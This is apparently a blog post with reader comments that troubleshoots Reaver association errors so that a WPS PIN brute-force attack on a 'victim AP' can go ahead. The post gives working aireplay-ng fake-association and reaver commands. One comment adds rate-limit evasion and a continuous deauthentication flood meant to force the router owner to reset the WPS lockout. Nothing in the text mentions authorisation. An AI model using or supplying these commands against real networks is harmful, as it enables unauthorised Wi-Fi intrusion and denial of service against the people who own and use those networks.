Fix for Reaver Errors: WARNING: Failed to associate with and WPS transaction failed (code: 0x03), re-trying last pin

If you always get stuck on the error ‘WARNING: Failed to associate with’ while using Reaver with every APs, you can try the follow fix.

Reaver says us it cannot associate with. If it cannot, let it do any tool which can. This is can be done by aireplay-ng.

Open two consoles. In the first window set the channel a victim AP:

sudo iw dev <IFACE> set channel CHANNEL

In the same window use aireplay-ng to associate:

sudo aireplay-ng <IFACE> -1 120 -a <MAC> -e <ESSID>

In the next console use reaver for brute-force pin:

sudo reaver -i <IFACE> -A -b <MAC> -v --no-nacks

This solution helps me to solve

WARNING: Failed to associate with

It is said the problem raised with Aircrack-ng 1.2 RC 2. So one more solution is to downgrade to Aircrack-ng 1.2 RC 1. Also it is also known the problem is common among Wi-Fi adapters with Ralink Chipset, RT3070 (i.e. Alfa Network AWUS036NH). If your AWUS036NH does not work with Reaver, try it with Bully.

Also Chipset Atheros AR9271L (i.e. Alfa Network AWUS036NHA) always works fine with Reaver either with Bully.

Hope it will help you. Please share your experience in comment: is the solution useful for you or not?

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10 Comments to Fix for Reaver Errors: WARNING: Failed to associate with and WPS transaction failed (code: 0x03), re-trying last pin

  1. Kevin says:

    Finaly a solution that works !!! Thank you !!!

  2. Sed says:

    I cant get it.Can you tell me the steps? 

  3. zamre jemihin says:

    hi alex…what is your suggestion on how to bypass routers phodrotection like AP RATE LIMITING,i there the best program to defeat it?? coz seems like oldies prog like mdk3 not very effective to do the job….any new method???…thks

  4. chad says:

    To bypass the rate limit you will need to find out the model of the router nad then do some googling to find the number of tries per 60 or whaterver seconds then add the -r argument like this (-r 2:60) this will try 2 pins every 60 seconds but you can change that to suite your needs. If router is locked run aireplay-ng -0 0 -a bssid wlan0    this will send a deauthentication attack to the router and user will likely reboot the router resetting the wps lock


  5. mike says:

    Thank you very much!!!!

  6. Lambert walker lambert says:

    i donno why its repeating the same pin 

  7. Deon says:

    help me please i get the router  pin but didnt get password how can i find it wat to use 

    reaver and how ?

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